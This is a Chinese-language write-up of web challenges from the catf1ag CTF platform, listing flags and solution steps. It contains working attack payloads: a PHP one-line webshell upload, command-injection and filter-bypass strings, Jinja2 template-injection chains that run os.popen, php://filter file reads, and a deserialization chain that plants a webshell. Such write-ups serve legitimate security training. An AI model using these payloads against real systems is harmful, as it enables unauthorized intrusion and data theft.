目录
一、简单题
1.WEB签到
描 述:平台好像藏了一个flag,在哪呢?
WP:catf1ag{welcome_to_catf1agctf_!!!_gogogo_!!!}
解析:根据题目描述,flag最有可能藏在(WEB题最重要的一步)——(单击右键)网页源代码,(可按Ctrl+F搜索“flag”)找到符合题目的格式的字符串,可找到最接近答案的格式:flag{give_you_false_flag}(尝试提交,果真是错误的flag)
在此附近仔细查看可得:
“}!!!_ogogog_!!!_ftcga1ftac_ot_emoclew{ga1ftac”,编写代码将字符串反转
s="}!!!_ogogog_!!!_ftcga1ftac_ot_emoclew{ga1ftac"
flag=s[::-1]
print(flag)
2.flag在哪呢?
描 述:flag在哪?
WP:catf1ag{47jqwfshb0na12y3g9uomlktvixed8}
解析:启动靶机,查看网页源代码,直接得flag
3.intval
描 述:无
WP:catf1ag{0zjbnretf2svxu9oykqa5dp74wc63g}
考察:代码审计能力+弱连接
解析:在原题目网址的基础上 + /?num=123a
<?php error_reporting(0); //表示关闭所有PHP错误报告 header("Content-Type:text/html;charset=utf-8"); include('flag.php'); //读取flag.php内容 show_source('./index.php'); //把PHP代码 高亮(带上默认文本样式)显示在页面上 同highlight_string $num = $_GET['num']; //获取提交的表单中 num 的值 即 http:..../?num=XXX $num2 = intval($num); //int intval ( $var [, int $base = 10 ] )返回var的base进制 if(isset($num) && $num != '123'){ if($num == 123){ //弱相等== 强相等=== echo $flag; }else{ echo 'flag{this_flag_is_False}'; } }else{ echo '你输入点东西行不行...'; }
弱相等(==):比较时,先将字符串类型转化为相等,再比较
①比较一个数字和字符串,或者比较涉及到数字内容的字符串,则字符串被转换成数值并且按照数值比较
②字符串中不含“.””e””E”,比较时当int,否则为float
“admin”==0
“1admin”==1
“admin1”==0
“0e123456”==“0e456788”
1+“10.5”==11.5(float)
1+”admin”==1(int)
强相等(===):比较时,先判断字符串类型是否相等,再比较
①数组绕过——md5无法处理数组,返回null时即为true : id[]=1,则md5($id)=true
②就是用两个完全相同的md5值
4.easy_unser_1
WP:catf1ag{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}
题目:(加部分注解)
<?php
//error_reporting(0);
show_source('./index.php'); //把PHP代码 高亮(带上默认文本样式)显示在页面上 同highlight_string
class flag_in_there{
public $name;
public $age;
public function __construct($name,$age){ //创建一个类时 初始化操作
$this->name = $name;
$this->age = $age;
}
public function get_flag(){
echo "hello,i'm '$this->name',now '$this->age' years";
}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag); //序列化:将内存中的java对象放到硬盘
$un = $_GET['str'];
if($ser == $un){
include('flag.php');
echo $flag;
}else{
echo "你真棒~";
}
?>
你真棒~
考察:序列化+代码审计
解析:当满足 $ser == $un 时,即可获取flag。
问:怎么获取呢?
答:通过代码(如下)得到$ser ,再通过上传参数str使 $ser == $un
<?php class flag_in_there{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function get_flag(){ echo "hello,i'm '$this->name',now '$this->age' years"; } } $flag = new flag_in_there('vfree','19'); $ser = serialize($flag); echo $ser; ?>
运行上述代码得:O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}
传参:
得答案
5.rce_me_1
WP:catf1ag{4zeobmdhyrtisf8xk20953qwnuvg6p}
题目:
考察:RCE (远程代码执行漏洞)
解析:按照常规操作先右键查看源代码,没有发现其他别的信息。则可以明白这道题就是通过 远程shell 控制获取flag。
靶机:http://subject.catf1ag.cn:42321/
①尝试ls : http://subject.catf1ag.cn:42321/?cmd=ls
显示结果如下:
②获取文件 get_flag_in_there_!!!!!!!!!!!!!!!!!!! :http://subject.catf1ag.cn:42321/?cmd=cat%20get_flag_in_there_!!!!!!!!!!!!!!!!!!!
即可得到flag
6.json
WP:catf1ag{95rzgmd8ji6uqaeycfs2wno4lt1kp7v3hbx0}
题目:
考察:json
解析:做这道题前首先得了解什么是json,再由题目可知 $decode->flag == $flag 时,即可获取flag
问:什么是json?
答:是一种轻量级的数据交换格式。$json='{"key":value}'; (不知道什么使数据交换格式没有关系,只要记住json格式就行)
问:什么是json_decode()?
答:将JSON 格式的字符串编码。即在访问时可使用key获取对应value,json[key]=value,类似于c++中的map
问:怎么使 $decode->flag == $flag ?
答:默认已知flag的格式为“catf1ag{}”,在题3中提到过==的作用,则可知“catf1ag{}”==0
因此可得出 key={"flag",0}
7.GET&POST
WP:catf1ag{0zjbnretf2svxu9oykqa5dp74wc63g}
考察:GET ,POST
解析:常见的构造请求工具(HackBar,Burp,Python脚本),此处使用HackBar(操作简单)
①靶机地址:http://subject.catf1ag.cn:44249/
②
根据题目可知为GET请求,可直接在网址后+ /?flag=cat
即http://subject.catf1ag.cn:44249/?flag=cat
③
根据题目可知为POST请求,鼠标右键选择“检查”,选择HackBar(该模块不是浏览器自带,需自行下载插件)。点击LOAD(自动填写URL),打开Enable POST,在Body中输入题目要求的内容,即 flag=f1ag ,点击EXECUTE(发送请求)
即可获得flag值
8.robots
WP:catf1ag{u5hegvatp2cybswnm8ijf9xzdr4ql3}
考察:robots协议
解析: 靶机地址 http://subject.catf1ag.cn:45732
问:什么是robots协议?
答:robots协议也称爬虫协议,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
问:怎么利用robots协议获取信息?
答: ①根据题目的提示,直接进入robots.txt文件:http://subject.catf1ag.cn:45732/robots.txt,得到如下内容
②发现禁止访问f1ag_is_in_there!!!,允许访问flag_is_not_in_there!!!。
直接访问:http://subject.catf1ag.cn:45732/f1ag_is_in_there!!!
将该文件下载,打开后则得到flag
9.easy_include_1
WP:catf1ag{wsle03a571mvqgnfb8d2zcj9rxuoh4it6pyk}
考察:文件包含
解析:靶机地址 http://subject.catf1ag.cn:49649/
此题比较简单,右键查看“源代码”,发现
有此可以知道flag在 /get_flag 里,即http://subject.catf1ag.cn:49649/?file=/get_flag
区分:./(当前目录下)文件名 ../(上一级目录下)文件名 /(根目录下)文件名
例如:现在在3文件夹下
①获取 b.txt : ./b.txt (./可不写)即 b.txt
②获取 4文件夹下的 c.txt :../../4/c.txt
③获取 此电脑下的 d.txt : /d.txt
10.strcmp
WP:catf1ag{scol3zium0n6yb7pkdxg82vrh4wejqat1f95}
考察:strcmp绕过
解析:靶机地址 http://subject.catf1ag.cn:46919/
strcmp()原理:这里的strcmp(str1,str2)函数用法和c语言中一模一样(str1>str2 结果 >0;str1<str2 结果 <0;str1=str2 结果 =0)
绕过原理:strcmp()为字符串之间的比较,若传入其他类型参数,会出错,出错后返回值为0
根据题目可知,即需要 $str!=$init_str ,又要满足 strcmp($init_str,$str)==0 。因此,当str传入非字符串类型(通常使用数组类型)时,可获取flag。http://subject.catf1ag.cn:46919/?str[]=1
11.easy_upload_1
WP:catf1ag{425yxbseor7jqnw1v806di9atfcz3kphguml}
考察:文件上传,一句话木马
解析:靶机地址 http://subject.catf1ag.cn:48644/index.php
①尝试上传shell.php文件(记得关闭杀毒软件,不然可能出现会出现一些乱七八糟的情况),里面的内容为
<?php @eval($_POST['a']); ?> //一句话木马的一般格式,‘a’为连接时的密码
②上传完成后得到如下提示,可知上传的文件路径为http://subject.catf1ag.cn:48644/upload/shell.php
③使用蚁剑(其他的工具也行),输入URL和连接密码(即一句话木马中的‘a’),点击“添加”后,查看每个目录下是否含有flag,最终在根目录下找到,点击文件即可获得flag。
12.easy_include_2
WP:flag{hhs6azzvr3j1wvo1m5nfz71phk8iq90w}
考察:RCE
解析:靶机地址 http://subject.catf1ag.cn:42701/
①满屏嘲讽果断选择右键单击“查看网页源代码”,仔细查找发现如下flag,虽然但是,是假的
②下面有个file,可知需要用到file协议。
?file=php://filter/read=convert.base64-encode/resource=flag.php #常用的file协议格式模板 #read=convert.base64-encode:将内容进行base64编码(看情况,可写可不写。写的话,还需要将结果进行base64解码) #resource=flag.php:读取的文件
输入,即网址为: http://subject.catf1ag.cn:42701/?file=php://filter/resource=flag
③回车后,页面没有明显变化,别急,滚条往下拉,发现flag,再根据题目要求修改flag格式。(不得不说,每一个设计都不是多余的)
13.swp
WP:catf1ag{rpl869d71weco2mt4k5qghnybzaus0iv3jfx}
考察:文件备份
解析:由题目可知swap,是在Linux系统下产生的备份文件,即vim缓存。在文件编辑时自动产生vim缓存文件,若正常关闭,则vim文件自动删除。
以index.php文件为例:第一次意外退出产生 .index.php.swp,第二次产生 .index.php.swo 的交换文件,第三次产生 .index.php.swn。(index.php是一个用PHP语言开发的网站的首页)
①使用dirsearch扫描。(可能网络不稳定,扫描报错。有时候可能需要多扫几次才能得到)
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt
②在网址后+ /.index.php.swp。得到下载文件后,得到flag。
14.被黑了...
WP:catf1ag{who_is_hacker_???}
考察:RCE
解析:
①右键查看网页源代码。执行 /webshe11.php ,页面空白
②常规的shell注入为上传一个木马文件,在工具(如蚁剑)中登录url并输入密码,从而远程操控。此题没有可上传的地方,推测在网页上即可完成这个操作。现在已经有了url,那么密码是什么呢?查看网页上所有的信息,最有可能的密码为:hacker。因此,执行如下url,页面显示:
/webshe11.php?hacker=system("ls");
③执行如下url,得flag
webshe11.php?hacker=system("cat%20hacker_flag.php");
15.easy_rce_2
WP:catf1ag{right_you_get_flag}
考察:RCE
解析:有题目得,当cmd和单引号中内容不匹配时,即系统过滤了这些字符串,可执行命令注入。常见的命令注入(详细内容可以查看这位博主的文章)为system('ls');,在此可以用passthru代替system。
<?php error_reporting(0); show_source('index.php'); $cmd = $_GET['cmd']; //preg_match():若cmd有中由和‘’中匹配的,输出1,反之为0 $preg = preg_match('/system|exec|shell_exec|`|popen/',$cmd); if(!$preg){ eval($cmd); //eval():将括号内的字符串视为语句并运行 }else{ echo "非法字符"; } ?>
①打印目录
/?cmd=passthru('ls');
②获取flag文件
?cmd=passthru('cat f1ag_in_there.php');
16.不等于0
WP:catf1ag{e32gak90d4pohjmw1ft6ivuzs8ylrc7xqnb5}
考察:数组绕过
解析:由题目得输入的num需要满足如下条件
1.num不为空
2.num!=0
3.md5(num)==false
①md5无法处理数组,返回null
/?num[]=1
17.easy_flask_1
描述:/?cmd=
WP:catf1ag{3s41zeynr9ixf8mko62apdghtv0uc75qjlbw}
考察:SSTI
解析:一开始不知道是那种类型信息泄露,假设是RCE。则输入?cmd=system('ls');
发现页面把cmd后 内容显示 了,猜测为SSTI。
①查看返回包,是python写的网页。
②输入,输出为49。验证了猜想
/?cmd={{7*7}}
③查看配置信息。得到flag
?/cmd={{config}}
18.easy_flask_2
WP:catf1ag{3s41zeynr9ixf8mko62apdghtv0uc75qjlbw}
考察:SSTI,Jinja2框架(详细知识点可看这篇)
解析:同题16思路,可知为SSTI,。
①查看返回包,为python写的网页。
②输入,输出为49。验证了猜想
/?cmd={{7*7}}
③查看配置信息。flag在 /flag 中
?/cmd={{config}}
④payload。重点找到<class 'os._wrap_close'> 为[127]。(一般为128,可以先128找,然后看查多少个位移,给128加加减减就出来了)。尽量分步分析,因为有时候会有过滤
?cmd={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}} ?cmd={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}} //其他姿势 {{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}} {{lipsum.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
19.又双叒叕不能相等
WP:catf1ag{en7dvubs56h1gktl9jp4riyqzax28fmow03c}
考察:代码审计,数组绕过,科学计数法
解析:根据题目可知,num的值需要满足
1.num不为空
2.num的长度比init短
3.num的值比init大
①传参num。数组一定大于数字
//任选一种 /?num=1e30 /?num[]=1
②页面上已经显示get glag:,但没有具体的flag 。右键“查看网页源代码也没有”,查看返回包,发现了flag
20.哦豁~还有一半呢?
WP:catf1ag{s10dvmo9k2chpjl4wgzn6yba3785tuxrieqf}
解析:右键查看网页源代码,发现flagb;查看返回包,发现flaga。将两个拼接后,用base64解码即可
21.bypass_wakeup
WP:catf1ag{GOJbLMFtxB53ZmIu2nhslIJwtwUDdAgf}
考察:反序列化
解析:执行如下代码,获得ser的值: O:4:"flag":1:{s:4:"name";s:7:"catflag";}
<?php class flag{ public $name = "catflag"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ echo "this is __destruct<br>"; } } echo serialize(new flag()); ?> //输出: //this is __destruct //O:4:"flag":1:{s:4:"name";s:7:"catflag";}
//payload /?ser=O:4:"flag":1:{s:4:"name";s:7:"catflag";}
22.无字符webshell
WP:catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc}
解析:由题目知,cmd中不能含有字母和数字。可以使用取反绕过。
//基本格式 <?php $a = "system"; echo urlencode(~$a); ?> //system: %8C%86%8C%8B%9A%92 //ls: %93%8C //ls /: %93%8C%DF%D0
①system(ls): /?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);
没有找到flag
②system(ls /): /?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C%DF%D0;$_($__);
找到flag
③cat /flag.txt:
/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B;$_($__);
23.舔dog日记
WP:catf1ag{Zjp8TxY8QKI7CZVbKZkzE1NZPxeE9pPD}
考察:文件包含
解析:右键“查看网页源代码”,发现都是以/download.php?filename=的形式获取链接,因此,假设flag在文件flag.php中,那么需要将“flag.php”进行Base64编码,再放入“filename=”中。
①flag.php经过Base64编码后为:ZmxhZy5waHA=
②放入url中:http://subject.catf1ag.cn:49204/download.php?filename=ZmxhZy5waHA=
③右键查看源代码,发现flag
24.遍历遍历
WP:catf1ag{62fexjg4cldzhay3otrqnpk09v1im5uwb78s}
解析:右键“查看网页源代码”、查看返回包,都没有发现有用的信息。但是在刷新页面的时候,发现页面的content显示的内容会发生改变。因此,猜测是通过不断的刷新,最终获取flag。
①运行如下脚本,即可获取flag
import requests url = "http://subject.catf1ag.cn:46257/" for i in range(300): #刷新次数 response = requests.get(url) if 'catf1ag' in response.text: print(response.text) break
25.easy_rce_3
WP:catf1ag{m49k6ivgj87b531acnqzlswhdtrxf2oypeu0}
考察:RCE
解析:根据题目可知,和最普通的RCE相比,难点在于绕过。没有过滤system,ls
①/?cmd=system("ls"); 发现flag文件,由于flag等被过滤,不可直接cat flag.php
②集合几位大佬的不同写法如下:
法一:蚁剑
Ⅰ : /?cmd=eval($_POST[1]);
Ⅱ:蚁剑抓包
法二:文件包含伪协议
/?cmd=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=flag.php
得到:Base64解码,得flag
PD9waHAKJGZsYWcgPSAiY2F0ZjFhZ3ttNDlrNml2Z2o4N2I1MzFhY25xemxzd2hkdHJ4ZjJveXBldTB9IjsKZWNobyAiZmxhZ3sqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqfSI7Cj8+Cg==
法三:
?cmd=eval(end(current(get_defined_vars())));&b=system('tac flag.php');
26.easy_rce_4
WP:catf1ag{This_is_A_easy_flag}
考察:RCE
解释:已知cmd的长度需大于50且还有部分过滤
①ls
?a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;ls
②获取f1111111111111111111111111ag.php
?a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;t=at;c$t%09f1111111111111111111111111ag.php
27.xss_alert
WP:catf1ag{luwjetshn1v4qr2m6yg750p98cbzoxki3afd}
解析:
法一:右键“查看网页源代码”,发现如下Base64编码内容(cat的base64编码结果为Y2F0),解码即可
法二:含有弹窗代码,在控制台输出 alert() ,获得base64编码后的flag
28.[友谊杯] easy_upload(未解)
29.[两小时AK赛] 你猜猜是什么注入
WP:catf1ag{canvt-cjtiof-dzswa-ggrbpy}
解析:使用tee命令(显示程序的输出并将其复制到一个文件中)
①/?catf1ag=ls /|tee 1.txt
②/1.txt
③/?catf1ag=cat /flag|tee 1.txt
④/1.txt
30.json_2
WP:catf1ag{ZbI5NrIUu6mPwoBf4ANQpOedyEyxG4Vn}
考察:json
解析:布尔值true等于任何字符串。在题6中有介绍json的格式,因此可以构造
?strs={"0":true}
31.MD5弱比较
WP:catf1ag{BI2TajraMYQMwygOS7ANMIyx83dSr5Uz}
考察:MD5,弱相等
解析:
法一:数组绕过
?username[]=1&password[]=2
法二:MD5绕过。md5加密后均为0e.....,可以实现md5(str1)==md5(str2)
?username=QNKCDZO&password=s878926199a
32.MD5强对比
WP:catf1ag{nlLU5FRGzI98ZuDyCYwq4KG4iZqIVEmp}
考察:MD5,弱相等
解析:数组绕过
?username[]=1&password[]=2
33. md5($md5)
WP:catf1ag{HBLwQ3Xk7FUhxn4J8rXOvFfR8qYtnilj}
解析:$md5 == md5($md5) : 表示 $md5 经过MD5加密后,仍与 $md5 相等
?md5=0e215962017
34.[原九小时AK赛] passwd
WP:catf1ag{202211121750}
考察:sha256(通常表示为64个十六进制字符)
解析:
s="69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95" print(len(s)) from hashlib import sha256 for i in range(202209090000,202212120000):#2022年09月09日00时00分 if(sha256(str(i).encode()).hexdigest()==s): print(i)
35.[原九小时AK赛] whisper
描 述:不同的方法,效果都不一样哈哈哈,题目作者:故里
WP:catf1ag{I_b41i3v3_y0U_can_f1nd_all_0f_m3}
考察:混合Base解码,凯撒
解析:
①根据提示,在url后加 /whisper ,得到一串字符,看着不符合常见的编码方式,尝试使用basecrack.py解密(附上windows下安装方式)
②使用basecrack.py,得到部分flag
③根据题目的描述,“不同的方法”,刚刚使用Get的方式,现在只能试试Post。使用凯撒解密得部分flag
36. [原九小时AK赛] wsy给你花花
WP:catf1ag{ChAng_chang_9qQq_qq8}
考察:反序列化
解析:题目(含部分函数解释)
<?php class catf1ag1{ public $hzy; public $arr; function show(){ show_source(__FILE__); } function __wakeup(){ foreach($this->arr as $k => $v){ echo $this->hzy->$v; echo "</br>hzy是社么鬼???"; } } } class catf1ag2{ public $file; public $txt = ''; function __get($key){ if($key == 'pputut'){ return $this->pputut(); }else{ return '<p>'.htmlspecialchars($key).'</p>'; //htmlspecialchars()把一些预定义的字符转换为 HTML 实体 } } function pputut(){ if( strpos($this->file,'../') !== false || strpos($this->file,'\\') !== false ) die(); //file字符串中不可包含../ \ $content = '<?php die(\'stupid\'); ?>'; echo "NICE!!!,来自wsy赠送的小红花</br>"; $content .= $this->txt; //该语句等价于 $content += $this->txt; file_put_contents($this->file, $content); //将字符串写入文件 return htmlspecialchars($content); } } if(!empty($_POST)){ $hzy = base64_decode($_POST['wwsysy']); $instance = unserialize($hzy); }else{ $a = new catf1ag1(); $a->show(); }
①根据题目可知,我们需POST一个名为wwsysy的变量,它的值会先被base64解码,再反序列化,因此构造的值需要先序列化再base64编码。
②植入一句话木马 <?php @eval($_POST['a']); ?> ,用base64编码后为:IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA==
<?php class catf1ag1{ public $hzy; public $arr; function show(){ show_source(__FILE__); } function __wakeup(){ foreach($this->arr as $k => $v){ echo $this->hzy->$v; echo "</br>hzy是社么鬼???"; } } } class catf1ag2{ public $file=""; public $txt = ''; function __get($key){ if($key == 'pputut'){ return $this->pputut(); }else{ return '<p>'.htmlspecialchars($key).'</p>'; } } function pputut(){ if( strpos($this->file,'../') !== false || strpos($this->file,'\\') !== false ) die(); $content = '<?php die(\'stupid\'); ?>'; echo "NICE!!!,来自wsy赠送的小红花</br>"; $content .= $this->txt; file_put_contents($this->file, $content); return htmlspecialchars($content); } } $a= new catf1ag1(); $a->arr = array('pputut'); // 将 'pputut' 传给 catf1ag2 $a->hzy = new catf1ag2(); $a->hzy->file = 'php://filter/convert.base64-decode/resource=flag.php'; // 使用base64-decode绕过content,并将文件输出到 flag.php $a->hzy->txt = 'IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA=='; // 植入一句话木马 ,密码为a echo base64_encode(serialize($a)); ?>
③执行上面的代码,得wwsysy的值如下。POST值后,使用蚁剑查看。
Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7czozOiJ0eHQiO3M6NDQ6IklEdy9jR2h3SUVCbGRtRnNLQ1JmVUU5VFZGc25ZU2RkS1RzZ1B6NGdJQT09Ijt9czozOiJhcnIiO2E6MTp7aTowO3M6NjoicHB1dHV0Ijt9fQ==
④用蚁剑连接后,在根目录找到flag
37.[红包题] 冬至当然要吃汤圆和饺子
WP:catf1ag{冬至快乐_redbag-password=37243463}
解析:点击“开始”,发现有个很长的字符一闪而过,猜测这个就是flag,右键“查看网页源代码”,看看有什么提示是可以获取这个的。发现页面遍历的就是arr中内容,则直接查看arr中内容获取flag
38.web也能套!
WP:catf1ag{8pC9uZ7Ho2JKdTS4L71ZlRQHro9N7296}
解析:
<?php session_start(); //flag in flag $_SESSION['who'] = 'admin'; $_SESSION['wh0'] = 'admin123'; var_dump($_ENV[$_POST[$_GET[$_SESSION['who']]]]); ?> //SESSION: 网页跳转时,储存在session中的内容不会消失 //ENV: 列出所有环境变量及其赋值
①$_SESSION['who']='admin’ => $_GET[$_SESSION['who']]=$_GET['admin’]。所有在url后加:
/?admin=b
②上传后,$_POST[$_GET[$_SESSION['who']]] = $_POST['b'] 。提示flag在flag中,因此POST b=flag。详情如下:
39.简单的越权
WP:catf1ag{ia9e6SPc6HuvWMiWUtqrx3hT1bXpJmnA}
解析:
①按照提示,在url后加 /username=guest ,查看返回包
其中的info内容base64解密:welcome_to_catf1ag_login_:guest
②使用burp抓包,并修改username的值为admin,is_admini的值为True,info的值为welcome_to_catf1ag_login_:admini 的base64编码结果:d2VsY29tZV90b19jYXRmMWFnX2xvZ2luXzphZG1pbmk=
得flag